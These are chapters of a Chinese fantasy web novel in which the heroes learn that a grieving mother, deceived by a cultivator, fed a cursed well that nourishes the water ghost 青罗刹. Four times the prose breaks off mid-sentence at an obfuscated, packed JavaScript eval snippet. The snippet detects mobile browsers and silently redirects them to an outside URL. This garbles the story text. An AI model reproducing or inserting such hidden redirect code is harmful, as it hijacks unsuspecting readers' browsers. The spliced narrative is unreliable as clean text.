众人走出太傅书房时,春雨便落了下来。 庭院中的亭台楼阁笼在薄薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244215|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水雾里,细针一样的小雨洇出一片湿痕,像是描绘出淡淡的水墨画。 柳梢走在最前面,一直沉默着不说话。 青羽看出柳梢情绪低落,便追了上去,走的她身侧,挠挠头开口。 “柳梢姐姐……你别太难过,那李太傅虽然快死了,但是好歹活了那么大岁数,我们妖怪活了百岁还很年轻,凡人但凡活六十年都是赚了,你看他头发都白成那样,肯定够本了!” 柳梢脚步一顿,脸沉了沉。 兰溪在旁边给青羽使眼色,想让他少说两句。 青羽却没看到,只是自顾自说起:“没想到你还有这么一段前缘,我还以为,像你们这样的画皮鬼,心都是石头做的……” 柳梢终于转过头来,看向青羽,嘴角弯起,脸上却没有一丝笑意。 “像我这样的?”她重复了一遍,然后凉凉吐出一句:“我知道,我是烂人,见不得光的小鬼。” 青羽的笑容僵住了。 兰溪瞪了青羽一眼,抬脚踹了他一下。 “你不说话会死吗?” 青羽捂着被踹疼的小腿,有些委屈地瘪瘪嘴,再没敢吭声。 柳梢也不再说话,只是望着灰蒙蒙的雨幕出神,脸上看不出情绪。 兰溪看着她的侧脸,心里有些发酸。 看着满园春色,草木疯长。 兰溪清了清嗓子,转移起了话题:“诶,你们看,这府里不光草木长得好,花也长的好,看这些花开的多热闹啊!” 兰溪说完后,没有人接话,身后却响起一个声音接她的话。 “嗯,花虽好,但是可惜。” 兰溪转过头去,看见是卫祁,他安静的站在她身后,春雨在他身后织成一道帘幕,衬得他俊美的轮廓有些模糊。 “可惜什么?”兰溪问。 “可惜,满园春色,也盖不住空气中的腥臭。”他淡淡道。 兰溪闻言吸了吸鼻子,只闻到雨水混杂着泥土花香的气息。 她皱皱眉:“没有啊?我怎么没闻到?” 卫祁没有说话,只是抬起眼,目光落在庭院右侧的回廊上。 那回廊上,出现一个嬷嬷,脚步匆匆的路过,穿着灰褐色的布衣,怀里鼓鼓囊囊,似乎揣着什么东西,脚步走得又急又快,生怕被人发现似的。 卫祁眼神淡淡盯着那人,那嬷嬷突然脚下一绊,明明走的很平坦的道路,突然就平地摔跤,整个人向前扑倒,摔在地上。 怀里揣着的东西,全部滚落了一地,地上有一件染血的衣裳,皱巴巴的衣服上血迹已经干涸,还飘落出几张画着奇怪符号的黄纸,除此以外就是几本小册子,册子里还夹着一束束头发。 那摔倒的嬷嬷脸色煞白,也顾不上疼,赶紧爬起来,手忙脚乱的把地上的东西捡起来,匆忙抱着那些东西离开。 青羽盯着那嬷嬷远去的背影,眉头微皱开口。 “刚才那人手里拿着的东西……上面有很重的鬼气。” “隔那么远,这你都看出来了?”兰溪凑上来问。 青羽点头,表情难得正经起来:“还有飘落的那几张符纸,上面的符号,我在族里见过。” “那符,在我族中早已禁了几百年,不许任何族人使用。” 21. 且听春 兰溪立刻便询问青羽:“什么禁符?” 青羽回答:“都是些损阴德、害人命的邪术,早就被族里封存了,怎么会出现在这里?” 几人对视了一眼,都心觉不对。 兰溪压低声音道:“我们跟上去看看!” 几人远远地跟着那嬷嬷,七绕八拐的穿过了几个长廊,终于在一处庭院下停下。 那嬷嬷到了门口,回头看了一眼,然后匆匆进去,把门关上。 庭院门口站着几个家丁,把守在门口,一副生人勿近的样子。 兰溪几人躲在假山后面,悄悄探出脑袋打量那庭院。 “这什么地方?”兰溪小声问。 柳梢摇摇头:“看着像内院,但是却不想有人长住的样子。” 院子里隐隐传来一阵被焚烧过的烟味,焦糊味混着一阵雨后的湿气,薰得人眼睛都睁不开。 柳梢咳了两声,吸了吸鼻子吐槽:“下雨天的烧的东西这么难闻!” 青羽脸色却有些变化,他皱着眉道:“这味不对,这烧东西的味道很混杂,好像混着煞气,很重的煞气。” 兰溪和柳梢对视一眼,柳梢沉吟道:“得去看看里面什么情况,这么多人守着,我们也进不去。” 众人有些犯难,在那庭院旁边踱步,一筹莫展。 “要不……我们翻墙进去?”柳梢开口。 “翻墙?这墙这么高,能翻上去吗?”兰溪抬头看着高高的墙面。 青羽已经开始跃跃欲试了,他撸起袖子道:“怎么不行?以我的轻功,这点高度小意思。” 说着青羽选了一快墙角,开始助跑,脚下生风,三两步跑过去脚下一蹬,双手向上攀。 可是墙体被雨打湿,青苔被淋得油绿,墙面就像摸了油一般,青羽这个人挂在墙头,脚在墙面上蹬来蹬去,愣是爬不上去。 “唉唉唉……这墙怎么这么滑?兰溪姐姐,快来帮我一把。”青羽大喊道。 兰溪在下面看得着急,在一旁喊:“你脚往左踩,那有块砖。” “我够不着!” 兰溪急了,踮起脚伸手去托青羽的脚底。 她刚迈出一步,手腕被人轻轻地握住,她回头一看是卫祁。 卫祁扫了一眼挂在墙上的青羽,对兰溪道:“我来。” “不用,翻个墙而已,我以前在学校……在老家经常和朋友翻,我有经验!”兰溪拿开卫祁的手,笑着摇头。 “你踩我手上!”兰溪托起手腕抬头对青羽喊。 “这……这不好吧。” “快点,我手都酸了!” 青羽一咬牙,把脚往兰溪手上一踩,可是墙体太滑,他稍微一动,身体平衡不稳,就这么从墙上栽了下来。 兰溪一转头,几乎撞上青羽的脸,青羽不受控制地向兰溪扑过来,身体极为亲密地压在她身上一起倒地。 但是下一秒,兰溪就被一只手拦住腰身向后带了两步,后背稳稳靠在一个温热的怀里。 青羽就没那么幸运了,他四仰八叉地重重摔在地上,坐起身来龇牙咧嘴地揉屁股,身上也沾上泥泞。 兰溪回头抬头看去,正好对上卫祁低垂的目光,他脸色沉了沉,眸子里透着淡淡的不悦。 他没有说话,只是抬起一只手,轻轻拂去兰溪肩头和头上沾上的草屑。 帮兰溪处理头上草屑的间隙,卫祁不善的眼神落在还坐在地上没爬起来的青羽身上。 青羽正痛得哼唧,抬头对上卫祁的眼神,背后一凉。 “兰溪姐姐,实在是抱歉,我一时没抓稳……”青羽马上着急找补着道歉,可他话还没说完,下一秒就感觉身体一轻。 青羽低头一看,自己的身体迅速开始变化,转眼之间变成了一只青绿色的小鸾鸟,茫然地探出小鸟脑袋,眨了眨眼。 兰溪有些惊讶,她走过去蹲下来,点了点青羽毛茸茸又肥啾啾的身体。 “青羽,你怎么化形了?” 青羽低头看了看自己毛茸茸的肚子,又抬头看了看卫祁,突然明白了什么,敢怒不敢言地扑棱了几下翅膀,把头缩回去了憋气。 “噗……哈哈哈哈。”柳梢在旁边看到青羽的样子,笑得直不起腰:“他活该,我看青羽还是变成鸟有用点,现在也不用爬墙,可以直接飞进去。” 青羽抖了抖羽毛,扑腾几下翅膀,悄无声息地飞上墙头,往庭院里面探去。 兰溪和柳梢在下面抬头看着,青羽刚飞过墙头,一道屏障似的青光突然出现,直接把青羽从天上弹回来了,一下子摔在假山上,顺着山石滑下来。 青羽绝望地“啾”了一声,有气无力地趴在地上,两只爪子朝天,生无可恋的样子。 兰溪跑过去问:“青羽,你怎么样了?” 青羽晕乎乎地站起身,抖了抖羽毛,张口就开始骂人:“那里面有法阵,我一上去就被一道光给拍回来了,疼死了,那群人真不是什么好东西!连自己家院子都布阵,缺不缺德!” 青羽一阵骂骂咧咧的鸟叫,小翅膀还不停的往院子里指。 “不过我倒是看见院子里有一口井,那李夫人正在烧东西,烧的都是符纸和衣服,真是见鬼,里面怎么会有这么重的鬼气。” 就在这时,院门“吱呀”一声打开了。 李夫人从里面慌慌张张走出来,憔悴的脸上带着未干的泪痕,她看见兰溪一行人,脚步一顿,随即大步冲过来。 “你们……你们怎么还在府里!”她气势汹汹的指着几个人大喊:“谁允许你们到这来的?” 柳梢脸上堆起假笑:“夫人别急,我们就是随便逛逛。” “这里是太傅府!是你们能随便走动的地方吗?” 青羽气不过,扑棱着翅膀到李夫人面前,对着她的脸就是一顿叨:“你这女人别太嚣张!我们可都是太傅允许的,你自己做贼心虚,烧的什么鬼东西?” 可惜李夫人听不到青羽的话,她只能听到一阵“啾啾啾”的鸟叫。 “哪里来的野鸟!”李夫人看到一只鸟在自己面前飞来飞去,心烦地扇了一巴掌。 青羽仗着他现在是鸟身,别人听不懂他的话,肆无忌惮地像只苍蝇一样的挑衅李夫人。 李夫人瞪着青羽,又看了看兰溪一行人,气的胸口起伏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264796|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来人!把这些人给我轰出去,现在就轰!” 几个家丁赶来,围成一圈准备动手,青羽飞到那些家丁的头上,对着他们的脑门就是啄。 青羽一边啄一边骂人:“知道小爷是谁吗?我可是上古青鸾族,你们这群不识货的东西,还想着赶小爷走!” “哎呦!”家丁捂着脑袋躲:“这鸟成精了?” 青羽在几人头顶上飞来飞去,东啄一下,西啄一下,啄得那几个家丁抱头鼠窜,场面一片混乱。 这边正闹着,一个苍老的声音从不远处传来。 “夫人,请先息怒。” 刘管家快步走过来,对着李夫人行了一礼:“夫人,老爷有令,这几位是老爷的贵客,务必以礼相待,他们可以在府里随意走动。” 李夫人瞪着眼睛,脸瞬间发红:“凭什么?我儿子刚死,就让这些来路不明的人在府里乱窜,老爷他一点也不念及我!” 她说着,眼泪就止不住的往下掉:“我容易吗我?我年纪轻轻就守了寡,好不容易把儿子养大也死了,我死了丈夫,又死了儿子!这偌大的太傅府就剩我一个女人,老爷想过让我以后怎么办吗?” 李夫人就像是受了欺负一般,哭得不像一个名门大家的妇人,反倒像是泼妇撒泼。 “你们都走!都走!我不想看到你们!”李夫人指着众人大喊。 刘管家站在一旁,面色复杂,最终叹了一口气,对柳梢拱拱手:“几位贵客,夫人如今悲痛过度,言行不当,还请见谅……不如先随老奴去客房休息。” 柳梢看了一眼哭成泪人的李夫人,又看了一眼那紧闭的院门,沉默片刻,点了点头。 “走吧。”兰溪跟着转身,走之前忍不住回头看一眼李夫人,她总觉得李夫人如此抗拒,慌乱的过分奇怪了。 众人回到太傅府的客房时,夜已深,柳梢坐在一旁撑着头看月亮,兰溪点起灯,环顾了一圈周围,突然觉得不对。 “青羽呢?没跟我们一起回来吗?”兰溪问。 柳梢正要说话,客房的窗户被突然撞开,一套青蓝色的影子飞进来,青羽在屋里扑腾了两圈,然后把嘴里叼着的东西“哐当”一声扔在桌子上。 那是一串有些生锈的钥匙,大大小小好几把。 青羽落在桌面上,昂首挺胸,翅膀一抖道:“怎么样?厉害吧!” 兰溪问:“你从哪里弄来的?” 青羽用爪子拨了拨钥匙:“李夫人身边有个嬷嬷有那院子备用钥匙,藏在她身上,我盯了一下午,趁她去茅房的时候叼走的,我厉害吧?” 柳梢没忍住笑了,凑过来说:“你在人家去茅房的时候叼的?青羽你变成鸟之后,真是啥事都做啊!” 青羽翻了个白眼:“我都已经牺牲到这个程度了,你们不要在乎这种细节了。” 几个人悄无声息的摸出客房,来到白天的那个庭院。 柳梢环顾了一圈周围,用钥匙开门,第一把钥匙没办法打开,第二把也不行,第三把还是不行,钥匙怎么也拧不动。 “青羽,你这拿的都是什么钥匙?真能行吗?”柳梢道。 22. 且听春 兰溪有些惊讶,卫祁极少主动开口说这么多话,更别提点评什么神袛仙君了。 他现在样子看上去好像有一种事不关己的漠然,甚至语气里还有一丝轻蔑和不齿。 这时,远处在井边的李夫人有了动静,她闲适哽咽着哭泣,然后越来越激动,肩膀剧烈地颤抖着,艰难地站起来盯着那口井,哭泣嘶吼着。 “你们这些吃人的鬼怪!放过我吧……你们杀了我儿子,还要怎样……还要怎样!” 她猛地抓过旁边的火把,朝井边纷飞的符纸扔去。 符纸瞬间燃烧了起来,火焰立刻沿着井沿围成一圈,火光扑面,可那些符纸却纹丝不动,丝毫没有被燃烧过的痕迹,在火焰中完好无损。 李夫人看着这一幕愣住了,她用火把点着符纸,符纸就是不惧火烧。 “怎么会……怎么会这样!”她的脸色越来越白,手抖得握不住火把,火把顺着掉在地上。 “烧不掉……烧不掉……”她疯癫地喃喃着,忽然就扑上去,不顾燃烧的火焰,伸手去撕那些贴得密密麻麻的符纸。 “夫人!夫人不可!”旁边的嬷嬷上去阻拦。 “别拦我!”李夫人却把旁边的嬷嬷用力一推,她用烫得满是水泡的手,用力去撕那些符咒,符咒被外力撕扯,井边立刻有阵法浮现。 井沿上骤然亮起刺目的青光,所以符咒像是活过来一样剧烈颤抖,暗红的朱砂符文迸发出的强烈光芒,一股无形的力量像是一双大手瞬间掐住李夫人的脖子。 “啊!”李夫人惨叫一声,瞬间就被那股力量拖拽着往井里拉,她拼命用手在地上抓扯,只留下道道血痕。 旁边的嬷嬷大惊失色,立刻去拉李夫人,可是巨大的力量让她招架不住,一同被拉着吞噬。 眼看李夫人就要被拉进井里,青羽第一个扑棱翅膀飞出去,大喊一声:“快去救人!” 其他人也紧跟其后,兰溪和柳梢上前拉着李夫人的衣服,青羽在旁边急得直扑阵法,亮起一阵阵青光。 可是那井中吞噬的力量不减反增,大得不像人能抵抗的,兰溪自己的身体也被外力一点点拉动,要一起被拖进井中。 “不行!拉不动!”柳梢拼尽全力拉着,脸都憋红了。 眼看李夫人半个身体都被拉进井中,仅剩一步之遥,卫祁走到井外,他什么也没说,抬起他修长的手,指节挥动,似是捏了个诀,随即用指尖轻点阵法。 那阵法亮起的青光像是一个泡沫,被他瞬间戳破,那井下的力量像是触电一般立刻收手缩了回去。 众人松了一口气,柳梢一把把李夫人拉出来,李夫人发髻凌乱,狼狈地坐在地上喘气。 兰溪站起身,她下意识看了一眼卫祁,脸上神色古怪,她刚刚分明看见了卫祁好像做了个捏诀的手势,然后阵法就破了。 兰溪睫毛颤了颤,却什么也没说。 这时候那口井却开始冒东西了,一股股的黑水从井里冒出来,浓稠黏腻的黑色漫过井沿,流到地上。 井壁,一行行暗红色的字浮现出来,一笔一划像是用血写出来的。 “三日内献上李氏族人一名,届时我来取李兆京性命。” 黑水漫着字迹渐渐散去,触目惊心的字出现在众人眼里。 李夫人看着那些字,整个被吓得瘫在地上,她嘴唇哆嗦着喃喃:“青罗刹……是她……她要来了!” 柳梢眉头一皱:“青罗刹是谁?” 李夫人没有回答,她只是反复念着这个名字,像是被吓傻了。 这时,杂乱的脚步声从身后传来。 灯笼的光晃动着,府里的人像是被惊动都匆匆赶来。 李兆京被刘管家搀扶着,身边围了一群家丁,一时间火光通明,李兆京颤颤巍巍地走进这偏院。 看到这里的景象,坐在地上的疯癫的李夫人,还有那口井,他脸色大变:“这……这是怎么回事?” 李兆京挣开搀扶的人,踉跄地走过来,低头看着瘫坐在地上的儿媳李夫人,李夫人的双手已经不成样子,皮开肉绽,露出森森白骨。 李兆京看见井壁上的血字,眉头深深地皱起,他带着难以置信的颤抖问李夫人:“你……到底做了什么?” 李夫人抬起头,眼神涣散,她扯出一个难看的笑容:“我做了什么?我什么也没做……我只是想救我的儿子……只是想救我的儿子!” 她忽然扑过去,抱着李兆京的大腿,嚎啕大哭:“公爹!我不是故意的!我不知道会这样!我真的不知道!” 李兆京看着趴在自己脚下大哭的儿媳,深深地叹了一口气道:“到底什么事,你如今也隐瞒不了了,还不快把你做的事讲出来!” 李夫人瘫坐在地上,手上血肉模糊,她却像感觉不到疼似的,只是浑身发抖,眼睛死死盯着那口井。 她沉默了很久,最终开口。 “我嫁进李家那年,才十七岁,那时候我不知道李家的事,没人告诉我,我只知道我嫁的是书香门第、官宦人家,是金陵城多少人求都求不来的好亲事。” 她脸上浮现一抹苦笑:“我夫君待我很好,我们相敬如宾,我以为我这一辈子就这样了,相夫教子,安安稳稳过完这辈子。” “可是他却死了……成婚第三年,他忽然病了,却不像普通的病,整个人一天天瘦下去,脸色发青,眼神发直,夜里总做噩梦,喊着有人要拖他下水,我请了无数大夫,没有一个能看出是什么病,我求神拜佛,香油钱捐了一座庙,也没有用,他还是死了。” 李夫人的眼泪又涌了出来:“他死的那天晚上,我便做了噩梦,梦里有个女人号称青罗刹,她站在水里浑身湿透,然后她跟我说李家子孙都得死。” “后来我才知道,那不是梦,李家的男人,真的一个接一个地死了,我夫君的哥哥,弟弟,叔伯……但凡姓李的男人,到了年纪都逃不过被水鬼纠缠的命运。” “我看着他们一个一个死,看着公爹一夜一夜睡不着,看着那些来吊唁的人在我们家门□□头接耳,说李家遭了诅咒,说李家得罪了什么脏东西。” “我害怕,我真是害怕极了。”她抬起头,看着李兆京:“公爹,您知道我有多怕吗?崇文那时候才刚会走路,我每天看着他,都在想他会不会也像他爹一样,有一天忽然有一天就死了。” “我不敢睡,那个水鬼天天入我的梦,我知道,等崇文长大,等他到了年纪,等他变成下一个。” 李太傅闭上眼睛,没有说话。 “后来,我遇到了那个修士,那是七年前,崇文十三岁,我在城外一座破庙里上香,求菩萨保佑我儿平安,出来的时候,他站在庙门口。” “他说他叫青溟,是个游方修士,他说他看出我身上有阴气缠身,问我是不是家中有人遭了横祸。” “我起初不信他。这些年骗子见多了,来一个赶一个,可他却……他却详细知道我夫君的死法,知道那水鬼的来头,还给我符咒防身,从此那水鬼再未入过我的梦。” “我觉得他有些道行,我当时就跪下了,他说他能救我儿子,他说他有办法破了这个诅咒,让崇文活下来,只需要我按他说的做。” “他跟我说需要李家先人的尸骨……他说那水鬼的根在李家祖坟里,要把那些被她害死的人的尸骨刨出来,沉到这口井里,用井水镇住,再用符箓封住,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292163|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没有力气再去害人了。” “我……我实在没办法了,公爹,我只能按他说的做,我想,反正人都死了,尸骨留着有什么用?能换我儿子活命就值了。” “我就去刨了,我去祖坟把那些坟刨开,把里面的骨头捡出来,用布包好带回来,扔到这口井里……我不知道扔了多少,一个,两个,五个,十个……后来我都不数了,反正扔就是了。” “后来他又来了,他看了那口井,说很好,那水鬼已经被镇住了,但还需要加固阵法,他给了我很多符纸,让我贴在井上,一层一层贴,贴得越厚越好。” “我也照做了,再后来,他又说,光靠符纸不够,还需要李家人的血和头发,每月烧在井边,这样那水鬼就会以为李家还有人一直在供奉她,就不会再害人。” “我又照做了,每个月,我都取崇文的血,用针扎他的手指,挤几滴出来,滴在那些符纸上然后烧掉,再崇文的头发,剪一小缕一起烧去。” “崇文问我,娘,你为什么要扎我?我说这是保你平安的,疼一下就好了,他也很乖,从来都不哭。” 李夫人说到这里突然就开始哭:“我以为这样就够了……我以为只要我照他说的做,崇文就能活下来。那个水鬼就不会来找他。” “可是一个月前……崇文还是失踪了,再见到他时,他还是死了……他还是死了!” 她哭的声音撕心裂肺,李太傅混浊的眼睛悲痛地望着李夫人。 “他死了之后,我才突然想清一些事……为什么那修士偏偏要来找我?为什么他知道得那么清楚?为什么他教我的那些法子,看起来像是在镇水鬼,可崇文还是死了?” “然后我才想明白,那个青溟,和那个青罗刹,就是是一伙的! “他们早就打好了主意,一个在我梦里吓我,一个在我面前救我,让我乖乖听话,让我亲手把我李家的男人一个一个挖出来,扔到那口井里。” “那口井根本不是在镇她,那是在养她,我亲手养了她七年,用我男人的骨头,用我儿子的血,用我李家人的命。” 李夫人说到这里悲痛万分,她哀号着:“是我!是我害死了崇文!我对不起他!我对不起李家!” 李兆京在旁边身体捂着胸口,身体抖动着,他指着李夫人大声道:“糊涂啊!你真是糊涂啊!” 李夫人抬起头,看着李兆京哭喊:“公爹,可我有什么办法呢?我有什么办法呢?我只是想救我儿子!我只是想让他活下来!我做错了什么!” 李兆京眼里泪光闪烁,无力地仰头慢慢闭上眼。 兰溪在旁边看着这一幕,却不知道该说什么。 青羽在旁边张了张嘴:“我族叔青溟……他怎么能干这种事?我青鸾族可是正道,青溟居然在外面做这样的事……” 柳梢瞥了他一眼:“正不正道的现在看来真不好说!鬼知道你是不是一类人!” 青羽听了这话急得在空中转圈,嘴里叽叽喳喳冒出一长串话: “我我我不知道这事!我不知道我族叔干了这些!我就是奉命来找他的!我跟这事一点关系都没有!你们别用那种眼神看我!青鸾族那么大,我哪知道他背地里干什么勾当!他就算是活着我肯定也大义灭亲。” “行了行了,眼下最重要的事是那青罗刹点名要李兆京的命,这事怎么办?”柳梢看了一眼那井壁上的字道。 柳梢沉默了几秒,盯着李兆京苍老的身子,开口:“李大人,你最好还是躲一躲吧,离开这里这个安全的地方藏起来,兴许……” 柳梢话还没说完,卫祁的声音淡淡传来。 “来不及了,她会来的,在今晚。” 23. 且听春 所有人都目光看向卫祁,他只是道出几个字,断定青罗刹今日必会行动,在众人面前像是埋下了一道惊雷,气氛一时异常凝重。 兰溪看了一眼众人,没有人怀疑过卫祁这样笃定的话。 良久后,李兆京拄着拐杖叹了口气,混浊的眼睛却变得平静下来。 “罢了……” 他看了一眼瘫坐在地上的儿媳,对李夫人道。 “是我对不住你,若非我李家世代遭这水鬼锁命,若非我护不住自己的儿孙,你又怎会走到这一步?” 他摇了摇头:“这世间因果轮回,我活了这把年纪,该还的,总要还的。” 柳梢脸色变了,她上前一步:“李大人,你……” “柳娘子,你已经帮了我太多了。”李兆京打断了柳梢的话。 他认命一般的苦涩一笑:“那青罗刹既然要我李兆京的命,我给她就是了,从此往后,李氏这一支再无人存活,纠缠几百年的孽债,也算是了结了。” 柳梢站在原地,眼眶瞬间红了,她声音有些发颤:“不行……你不能死……” 李兆京看着柳梢道:柳娘子,这一世,能遇到你已经是我莫大的福分,你何苦为我这个将死之人执着?你我本就不是一路人,我不过一介凡夫,你还有漫长的岁月,不要为我执着了。” “不……不行,我不许你死,你不许死……”柳梢的声音突然激动起来。 “我守了你这么六十年,六十年来,为你偷偷求了无数平安符,只盼你平安富贵,你现在也不许去死……” 柳梢抬手抹了一把泪,倔强地一字一句道:“你寿元将近,我就渡修为给你,一年不够就十年,十年不够就百年,我有一百年、两百年、三百年,总能把你留住的! “你不能就这么被那水鬼拿去祭祀!你不能变成那种不人不鬼的样子!我不能让你的身体被那样糟践,不能让你死得那样惨! “不行的……不行的……”柳梢几乎是哭着大喊,不停重复这几个字。 兰溪怔怔地看着柳梢,她从来没见过这样的师姐。 那个永远泼辣爱笑、遇事先骂两句的柳梢,此刻站在那个垂垂老矣的老人面前,哭成了泪人。 她忽然想起柳梢说过的话,每年春社,她都会跟着李府的人群去祈灵庙,就为了远远看一眼他。 看看他官运如何,是不是多了几分荣光;看看他膝下如何,是不是又添了几个子孙;看看他身体如何,是不是比去年又清减了几分;看看他步履如何,是不是又添了一束白发。 六十年的远远看着,六十年的不敢靠近。 春社的钟声一年一年地敲响,淮河水一年一年地奔流,时间弹指一挥,她的容颜没变,他的头发怎么就白了? 柳梢在这红尘间与男人推杯换盏,嬉笑玩闹时,却也会想起那年雪地里那个把自己从雪堆里刨出来的书生,他那时候那么年轻,笑盈盈地问她:“小丫头,你爹娘呢”。 …… 李兆京站在原地地看着柳梢,他张了张嘴,却什么也没说,却只发出一声沙哑的叹息。 良久,他抬起那只布满皱纹的手,颤颤巍巍伸向柳梢,想替她擦去眼角的泪水。 可伸到一半,又停住了。 他苦笑着摇了摇头,还是将手收了回去。 发乎情,止乎礼,他不该,也不能触碰她。 “柳娘子,六十年了,放下吧。”他声音很轻,无声地散在风中。 “我这一生,做过官,写过诗,被人跪拜过,也跪拜过别人,享过荣华,也受过苦楚,很好了。” 他顿了顿,又淡淡一笑。 “能被你记挂六十年,我李兆京此生,值了。” 柳梢的双手拽紧了衣角,她沉着脸,带着执拗的倔强道:“不会的,一定会有办法的……一定会有办法的!总有人能对付那水鬼,总有办法的!” 柳梢这么说着,她在四周环顾了一圈,看向站在兰溪身后隐在阴影里的卫祁。 她几步走到卫祁面前,跪了下来。 “大人,我知道您有办法,我柳梢活了近百年,没求过他人,今日我求您,救救他,救救李府上下!您要什么,我都能给你,只求您出手。” 兰溪的心猛地一跳,她看着这一幕,看着跪着地上的柳梢,还有身旁站着的卫祁。 卫祁白玉一般的面庞隐在阴影里,看不清神色,只是垂眸看着跪着他面前的柳梢。 兰溪站在他旁边,却觉得他好像离自己很远,她早该知道卫祁不普通,那些古怪之处,她不是没看见,只是不愿意去想,可此刻那些她刻意忽略的东西,忽然全部无法回避。 院子里很安静,夜风吹过,拂过卫祁的衣诀,他沉默了一会,开口却讲起来一个故事。 “千年前,江南淮水之畔有一个浣纱女,名叫阿罗,那年江南大旱,赤地千里,草木尽枯,她以浣纱为生,每日涉水劳作,见百姓困苦,便日日跪于河岸,祈求上苍垂怜。” “春神途经此地,见她虔诚,便点化了她,她借着春神赐予的力量,挖井引水,灌溉农田,万物复苏,救了当地无数百姓。” “后来春神又赐她一道血脉,让她子孙后代皆受此庇佑,所在之地,草木易发,五谷丰登,她也被当地百姓奉为神女,立祠供奉,香火不绝。” 说到这里卫祁顿了顿,又开口。 “后来她死了,死后化为煞鬼,流转于淮河水畔,鬼号……青罗刹。” 柳梢跪在地上,抬着头,所有人都看向卫祁,院子里一片死寂。 兰溪的目光落在他身上,他淡淡地叙述时,月光照不到他的眉眼,他的轮廓清隽又疏离,像一尊被遗忘的神像,淡漠地讲着人间的故事。 卫祁抬眸,和兰溪对视了一眼,然后眉眼柔和了几分,没有再说下去了。 他只是看向那口井道:“这井日日被滋养,早已化成一个执念之笼。” “执念笼?莫非是那种上古禁术?”青羽突然接话。 青羽回忆着道:“我以前在古籍里看过,执念笼是专门养煞鬼的邪术,用阵法把煞鬼的怨念困在一个地方,这井既是养她,也是困她,让她的真身出不去,但怨念也散不掉,反而越积越重,煞鬼本就怨念最重,有执念笼加成,那简直是……” “简直是什么?”兰溪忍不住问。 “那就是不死不灭,书上说,这种被执念笼困住的煞鬼,根本杀不死,只能跟她耗着,耗到天荒地老,而且怨念越重,力量越强。” “这么说……难道就没有办法对付她吗?”柳梢大声道。 “倒是只有一个解法,想要对付这种煞鬼,必须找到她最深的那道执念,用她最在意的东西攻破她,才有可能化解她的怨气。” “一个死了上千年的女鬼,谁知道她还惦记什么?”柳梢抹了把眼角的泪,声音沙哑着。 兰溪回想了那个幻境,她想起幻境里阿罗那张脸,既虔诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304465|197259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又狂热,最后变成疯狂的脸,她想起她跪在春神脚下,求他赐福时那灼灼的目光,还有掐住自己时凶恶狰狞的面孔。 从神女到煞鬼,这千年间,她到底发生了什么? “我想……阿罗的执念一定与春神有关。”兰溪沉默着开口。 青羽叹了口气:“不过春神早已陨落,传闻他陨落时,只剩一副骸骨不腐,如今也不知落在何方,千百年过去,恐怕当年的旧人旧事,我们再想提及也难了……” 众人再次陷入沉默,柳梢也不语,只是攥紧了拳头,李太傅站在旁边,看不出表情,苍老的脸上两个眼眶仿佛深深地陷进去。 卫祁站在阴影里,默默地听众人讲话,却一直没说话。 他修长的身影立在暗处,眉头暗暗蹙着不说话,此刻春日夜风吹得人不冷,人兰溪却觉得他孤寂极了,骨子里透着冷意,冷得要透出来了。 良久,他好像带着一种极深的疲惫和认命感,轻叹一口气,开口。 “我去见她。” 轻轻的一句话,落在了春风里,被命运的兰因絮果推着,带着几分无力。 兰溪看着卫祁,她觉得他好像离自己很远,隔了一条长河,她站在此岸,河水汤汤,而他在彼岸独自走过了千年万载。 兰溪此时也不想去猜测卫祁的身份,脑子里也没有胡乱的思绪转着,她只是走到他旁边,伸出手,握住他的手。 他的手凉极了,冰冷的触感没有一丝温度,兰溪就用自己的体温去握紧他,她低低地开口。 “卫郎,你要去见她,我陪着你去。” 兰溪声音很轻,她也不知道自己怎么迈开步子上去的,总之她就是什么都没想,去握住他的手。 卫祁低头看她,月光落在他的发丝,他盯着她的眼睛看了许久,然后轻轻一笑,伸手摸了摸兰溪的脸侧,带着温柔的摩挲。 